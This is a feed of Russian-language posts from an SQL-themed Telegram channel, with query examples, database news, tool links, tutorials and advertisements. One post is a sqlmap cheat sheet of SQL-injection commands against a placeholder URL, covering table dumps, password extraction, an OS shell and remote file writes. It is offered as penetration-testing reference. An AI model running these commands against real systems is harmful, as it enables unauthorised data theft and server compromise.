36043
По всем вопросам- @workakkk @itchannels_telegram - 🔥лучшие ит-каналы @ai_machinelearning_big_data - Machine learning @pythonl - Python @pythonlbooks- python книги📚 @datascienceiot - ml книги📚 РКН: https://vk.cc/cIi9vo
✔️ MongoDB создает партнерскую экосистему ИИ.
MongoDB представила обновлённую версию 8.0 своей базы данных линейки Enterprise и облачного сервиса Atlas. Обновления обещают увеличить пропускную способность на 32%, ускорить пакетную запись на 56% и повысить скорость параллельной записи на 20%.
Для решения проблем, связанных с быстрым развитием ИИ, неопределённостью в выборе технологий и нехваткой навыков, MongoDB запустила программу MongoDB AI Application Program (MAAP).
Компания планирует создать глобальную экосистему партнёров, которые будут устанавливать отраслевые стандарты для решений на основе ИИ, сотрудничая с Microsoft Azure, Google Cloud Platform, Amazon Web Services, Accenture, Anthropic и Fireworks AI.
Уже реализованы коммерческие решения для «французской автомобильной компании» и «глобального производителя бытовой техники».
🔗 iteuropa.com
@sqlhub
💫 StarbaseDB
Мощная опенсорс база данных HTTP SQLite с открытым исходным кодом, масштабируемая до нуля и построенная на базе в Cloudflare.
▪ Язык: Typescript
⚡ Особенности
- Эндпоинты HTTPS для взаимодействия с вашей базой данных
- Поддержка транзакций для взаимодействия с базой данных ACID
- Вычисления с нулевым масштабированием
▪ Github
@sqlhub
Научитесь эффективно использовать нейросети в своей работе. Приглашаем на бесплатный мини-курс Skillbox «Data Science с нуля: пробуем профессии на практике за 5 дней». Окунитесь в сферу IT и решите, какая специальность вам ближе.
🎁 Регистрация по ссылке: https://epic.st/eEwmp?erid=2VtzqvZPs5z
Чем займётесь на мини-курсе? Узнаете, где востребована наука о данных, и разберётесь в различиях её основных направлений. Освоите азы главного языка Data Science — Python, а также визуализируете с помощью него данные. Изучите базовые конструкции языка SQL и наконец поймёте, как же работают нейросети.
В знакомстве с профессиями вас будет сопровождать Анастасия Борнева — руководитель направления по исследованию данных в «Сбере». В финале мини-курса в прямом эфире она разберёт практические задания и ответит на все вопросы.
🎉 Все участники получат крутые бонусы и подарки!
Реклама. ЧОУ ДПО «Образовательные технологии «Скилбокс (Коробка навыков)», ИНН: 9704088880
🖥 Полный курс по работе с SQL за 3 часа!
🔥 У этого видео 8 млн просмотров на YouTube, что безусловно говорит о его качестве!
🕞 Продолжительность: 3:16:13
🔗 Ссылка: *клик*
#курс #sql #datascience
@sqlhub
🖥 Функция STUFF() в SQL
❓ Пример:
SELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;
🖥 Как эффективно использовать SQL для Data Science?
💡 SQL — это не только инструмент для создания и управления базами данных. Его мощь часто недооценивается в контексте Data Science. Давайте рассмотрим, как SQL может помочь на каждом этапе работы с данными и почему стоит изучить его глубже.
🔍 1. Предварительная обработка данных (Data Preprocessing)
Обычно данные находятся в сыром виде и требуют значительной очистки и приведения в нужный формат. SQL позволяет быстро выполнять объединения, группировки, фильтрацию и агрегацию данных без необходимости выгружать большие наборы данных в Python или R.
Пример:
-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);
-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;
-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;
WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
sqlmap -u "http://example.com/page.php?id=1"
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
sqlmap -u "http://example.com/page.php?id=1" --os-shell
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
sqlmap -u "http://example.com/page.php?id=1" --is-dba
sqlmap -u "http://example.com/page.php?id=1" --passwords
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://example.com/page.php?id=1" --banner
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
🖥 SQL tips and tricks
Круташий набор лайфхаков и советов по улучшению SQL запросов.
В нём представлены методы повышения читаемости кода и предотвращения распространённых ошибок и рекомендации по оптимизации.
▪ Github
@sqlhub
🖥 Учебный курс «DBA2. Администрирование PostgreSQL 13. Настройка и мониторинг»
DBA2-13. 00. Введение
DBA2-13. 01. Изоляция
DBA2-13. 02. Страницы и версии строк
DBA2-13. 03. Снимки данных
DBA2-13. 04. HOT-обновления
DBA2-13. 05. Очистка
DBA2-13. 06. Автоочистка
DBA2-13. 07. Заморозка
DBA2-13. 08. Буферный кеш
DBA2-13. 09. Журнал предзаписи
DBA2-13. 10. Контрольная точка
DBA2-13. 11. Настройка журнала
DBA2-13. 12. Блокировки объектов
DBA2-13. 13. Блокировки строк
DBA2-13. 14. Блокировки в оперативной памяти
DBA2-13. 15. Управление расширениями
DBA2-13. 16. Локализация
DBA2-13. 17. Обновление сервера
▪Источник
@sqlhub
🖥 Phidias
Генеративная модель для создания 3D-контента из текста, изображения и 3D-условий с помощью диффузии с добавлением ссылок
https://huggingface.co/papers/2409.11406
@sqlhub
Продуктовые аналитики, это вам
В Т-Банке пройдет Week Offer для специалистов уровня middle и senior. Можете пройти все этапы собеседования за неделю и присоединиться к ИТ-команде.
Дальше будете выдвигать гипотезы, принимать решения на основе данных и влиять на продукты для миллионов. Рутинные задачи можно автоматизировать и полностью сосредоточиться на аналитике.
В компании используют актуальный стек. Будете работать с базами данных Greenplum, Hadoop, Hive, ClickHouse. Для визуализации использовать Tableau, Grafana, а разрабатывать — на Python, SQL.
Узнайте больше и успейте подать заявку до 25 сентября
7️⃣самых эффективных стратегий для масштабирования БД
🔵 Материализованные представления: Предварительно рассчитывайте результаты сложных запросов и сохраняйте их для быстрого доступа.
🔵 Денормализация: Упрощайте сложные соединения для повышения скорости выполнения запросов.
🔵 Вертикальное масштабирование: Увеличивайте ресурсы сервера (процессоры, оперативную память, хранилище) для улучшения производительности.
🔵 Индексация: Анализируйте запросы вашего приложения и создавайте подходящие индексы для ускорения работы.
🔵 Кэширование: Храните часто запрашиваемые данные в быстром хранилище, чтобы снизить нагрузку на базу данных.
🔵 Репликация: Создавайте копии основной базы данных на разных серверах для увеличения объема операций чтения.
🔵 Шардинг: Разделяйте таблицы на более мелкие части и распределяйте их по серверам для улучшения работы с записью и чтением.
@sqlhub
🖥 Интерактивная схема устройства работы векторных баз данных
@sqlhub
PGCONF.ACADEMY 2024 — первая конференция для преподавателей PostgreSQL в России
9 октября в Москве пройдет конференция для преподавателей системного программирования и дисциплин, связанных с системами управления базами данных (СУБД).
Организатор — компания Postgres Professional, ведущий российский СУБД-разработчик.
Темы встречи:
✔️Внедрение PostgreSQL и Postgres Pro в учебный процесс
✔️Обучение базам данных и системному программированию, автоматизация и использование интерактивных систем в учебе
✔️Научно-исследовательская и проектная работа студентов по теме СУБД
✔️Профессиональная сертификация специалистов по PostgreSQL и др.
Для кого? Специалисты в сфере ИТ-образования: преподаватели, методисты, сотрудники администрации вузов, колледжей и учебных центров.
Онлайн и офлайн: Москва, ИНТЦ МГУ «Воробьёвы горы», кластер «Ломоносов», Раменский бульвар, д. 1.
Регистрация — до 6 октября 2024 г.
🔥Участие для преподавателей, сотрудников администраций вузов и колледжей — бесплатное.
ЗАРЕГИСТРИРОВАТЬСЯ
🖥 Статья, в которой автор подробно рассказывает о различиях между SQL и noSQL базами данных, а также о преимуществах и недостатках каждого
🔗 Ссылка: *клик*
@sqlhub
🖥 Довольно сложная задача по SQL: Анализ продаж с использованием оконных функций и вложенных подзапросов
🌟 Допустим, у вас есть следующие таблицы с данными о продажах и товарах:
CREATE TABLE sales (
sale_id INT PRIMARY KEY,
product_id INT,
sale_date DATE,
sale_amount INT
);
CREATE TABLE products (
product_id INT PRIMARY KEY,
category VARCHAR(50),
price DECIMAL(10, 2)
);
WITH MonthlySales AS (
SELECT
DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
p.category,
SUM(sale_amount) AS total_sales
FROM sales s
JOIN products p ON s.product_id = p.product_id
GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
SELECT
sale_month,
category,
total_sales,
ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
FROM MonthlySales
),
PopularCategories AS (
SELECT
sale_month,
category,
total_sales
FROM RankedCategories
WHERE sales_rank = 1
),
CategoryWithDifference AS (
SELECT
sale_month,
category,
total_sales,
LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
FROM PopularCategories
)
SELECT
sale_month,
category,
total_sales,
total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;
🖥 sqlpd.com — онлайн игра, в которой нужно раскрывать преступления, используя язык SQL
🔗 Ссылка: *клик*
@sqlhub
📊 OpenBB — это платформа для инвестиционных исследований, предоставляющая доступ к акциям, опционам, криптовалютам, форексу и макроэкономическим данным. Платформа ориентирована на пользователей всех уровней и включает в себя как командную строку, так и графический интерфейс. 🌟 OpenBB предлагает бесплатный и открытый доступ к аналитическим инструментам и может быть расширен через различные плагины. Проект также поддерживает автоматизацию процессов и интеграцию с внешними сервисами
🔥 Инструмент является бесплатным аналогом Bloomberg terminal (подписка на который стоит $20 тыс. в год!)
👩💻 Язык: Python
🔐 Лицензия: GNU
▪ Github
@sqlhub
Вебинар «Возьмите кластеры под контроль»
15 октября в 16:00 на вебинаре команда Tarantool расскажет, как построить высокопроизводительное кластерное хранилище с простым управлением и гарантиями отказоустойчивости. Покажем демо: развернем кластер и продемонстрируем работу с ним из JAVA-приложения с использованием spring data 3.x.
В программе:
-В каких системах вам не обойтись без in-memory хранилища.
-Как легко развернуть «горячее» кластерное in-memory хранилище под ваши задачи и централизованно управлять им через интуитивно понятный графический интерфейс и CLI.
-Как построить геораспределенный кластер, не падающий даже при неустойчивом канале связи или аварии в ЦОДе.
Вебинар будет полезен системным и корпоративным архитекторам, инженерам DevOps и разработчикам высоконагруженных систем.
Регистрация
Всего одни выходные — и вот вы уже создаете пайплайны обработки данных в команде Авито. Получите ускоренный оффер в компанию на Data Weekend Offer!
Вас ждет:
— конкурентная зарплата, удаленка и дополнительные дни отпуска;
— возможность прокачать свой стек – настраивать инструменты обработки данных, автоматизировать механизмы, тестить гипотезы и улучшать пользовательский опыт;
— участие в разработке новых продуктов крупнейшего в мире сервиса объявлений;
— сильное IT-комьюнити, которое любит опенсорс.
Ищем специалистов с опытом. Выбирайте стрим — Python/SQL или Spark/Java/Scala — и регистрируйтесь до 1 октября: https://u.to/nfbkIA
🖥 Релиз СУБД PostgreSQL 17
После года разработки опубликована новая стабильная ветка СУБД PostgreSQL 17. Обновления для новой ветки будут выходить в течение пяти лет до ноября 2029 года. Поддержка PostgreSQL 12.x, самой старой из поддерживаемых веток, будет прекращена 14 ноября.
📌 Основные новшества:
- При выполнении операции VACUUM (сборка мусора, чистка и упаковка дискового хранилища) задействована новая структура данных, потребляющая до 20 раз меньше памяти. Переход на новую структуру позволил ускорить выполнение операций VACUUM и сократить потребление совместно используемых ресурсов.
- Продолжена оптимизация производительности ввода/вывода. Благодаря улучшению кода для обработки лога отложенной записи WAL удалось до двух раз повысить пропускную способность операций записи в системах с большим числом одновременно выполняемых запросов.
- Предложен новый интерфейс потокового ввода/вывода, позволивший повысить скорость последовательного перебора данных в таблицах и ускорить обновление статистики для планировщика запросов после выполнения операции ANALYZE.
- Повышена производительность запросов с выражением "IN", если в них используются индексы на базе структуры B-tree. Реализована возможность параллельного построения индексов BRIN (Block Range Index). В планировщике запросов оптимизированы проверки "NOT NULL" и ускорена обработка обобщённых табличных выражений (Common Table Expression, CTE) определяемых при помощи SQL-команды "WITH". Обеспечено использование векторных процессорных инструкций (SIMD) для ускорения некоторых вычислений, например, для ускорения функции bit_count задействованы инструкции AVX-512.
- Реализована поддержка новых возможностей для работы с форматом JSON, определённых в стандарте SQL/JSON. Добавлена функция JSON-TABLE для преобразования данных из формата JSON в обычные таблицы PostgreSQL, а также новые операторы jsonpath для преобразования данных JSON в родные для PostgreSQL типы данных. Предложены новые функции для создания (JSON, JSON_SCALAR и JSON_SERIALIZE) и запроса (JSON_EXISTS, JSON_QUERY и JSON_VALUE) данных в формате JSON.
- Расширены возможности SQL-команды "MERGE", позволяющей создавать условные SQL-выражения, объединяющие в одном выражении операции INSERT, UPDATE и DELETE. Добавлена поддержка выражения RETURNING, позволяющего вычислять и возвращать значения на основе добавленных, обновлённых или удалённых строк. Реализована поддержка обновления представлений.
@sqlhub
❓️ Ваших знаний в области управления базами данных не хватает для успешного выполнения рабочих задач и карьерного роста?
🚀 Всего за 4 месяца вы научитесь настраивать кластер PostgreSQL на оптимальную производительность, организовывать систему резервного копирования и оперативно решать проблемы сбоев, блокировок и deadlock. Вы сможете использовать индексы, джойны и статистику для оптимизации производительности, а также решать проблемы работы с большими объемами данных. Ваши знания и навыки позволят проектировать БД так, чтобы впоследствии не приходилось тушить пожары из-за не оптимально заложенных основ.
🚀💻🔥 Присоединяйтесь к курсу «PostgreSQL для администраторов баз данных и разработчиков». Решайтесь сейчас — до 30 сентября действует скидка 🤑🤑!
Забронировать место в группе по скидке: https://otus.pw/AUDB/?erid=LjN8KBPcJ
#реклама
О рекламодателе
Yandex Cloud открыла доступ к Yandex Cloud AI Studio – единой платформе для создания приложений на базе ИИ
Платформа объединяет все доступные ML-решения компании, включая генеративные нейросети: YandexGPT и YandexART. Единый интерфейс позволяет упростить разработку и ускорить запуск многофункциональных ИИ-приложений.
Чтобы писать меньше кода для интеграции нейросетей, разработчики могут воспользоваться SDK-библиотекой с готовыми примерами кода.
Также пользователи смогут тестировать ML-решения в AI Playground: в нем можно вести одновременно несколько диалогов, в каждом из которых сохраняется история обращений.
Читайте подробнее в статье.
🖥 Ползеная шпаргалка по SQL с примерами запросов
На это Гите есть практически все, что касается SQL, начиная от запросов к базе данных и создания таблиц и заканчивая соединением (joining) данных.
Информация представлена наглядно и очень доступно.
GitHub
@sqlhub
🖥 SQL для Data Science: ключевые вопросы с собеседований по разным уровням
Подборка важных SQL вопросов для разных уровней👇
🔹 Начинающие (0-2 года):
▪️ В чем разница между WHERE и HAVING?
▪️ Какие виды JOIN существуют в SQL?
🔹 Опытные (2-5 лет):
▪️ Запрос для поиска второй по величине зарплаты.
▪️ Оконные функции в SQL, пример с ROW_NUMBER().
🔹 Эксперты (5+ лет):
▪️ Как оптимизировать медленный запрос?
▪️ Когда использовать кластеризованные и некластеризованные индексы?
🖥 Ссылка
@sqlhub
Освойте универсальные навыки в мире цифровых профессий — научитесь работать с SQL, Python, Power BI и DataLens на бесплатном курсе от Нетологии. В результате вы:
— разберётесь в основах Python для анализа данных и узнаете, как извлекать информацию.
— научитесь делать запросы и отчёты с помощью SQL.
— сможете строить интерактивные дашборды в Power BI и DataLens.
Курс подойдёт новичкам и тем, кто хочет расширить свои навыки.
Присоединяйтесь бесплатно
Реклама. ООО "Нетология". Erid 2VSb5wd5PB6
💻 eralchemy — простой инструмент на Python для отрисовки взаимоотношений таблиц SQ
— pip install eralchemy
eralchemy — это генератор диаграмм для баз данных а также для различных объектов SQLAlchemy.
eralchemy работает с SQLAlchemy < 1.4, а также с версиями выше 1.4.
🖥 GitHub
@sqlhub
🖥 Крутая шпаргалка по SQL.
В ней, предоставлены основные примеры запросов, а также пояснения к ним на русском языке.
Сохраняйте, чтобы не потерять
#шпаргалка #sql
@sqlhub
✔️ Туториал: Использование PostgreSQL в качестве векторной базы данных для RAG.
В туториале показан пошаговый сценарий к созданию векторной базы данных в PostgreSQL для хранения фрагментов текста из нескольких статей Википедии. В нем описывается процесс встраивания фрагментов текста и их сохранения в базе данных вместе с соответствующим заголовком, текстом и URL-адресом статьи.
Также приведен пример, как использовать векторное сходство для поиска релевантного контекста из базы данных с учетом запроса пользователя. Как извлеченный контекст используется для дополнения исходного запроса, прежде чем он будет передан в LLM для создания окончательного инференса.
infoworld.com
@sqlhub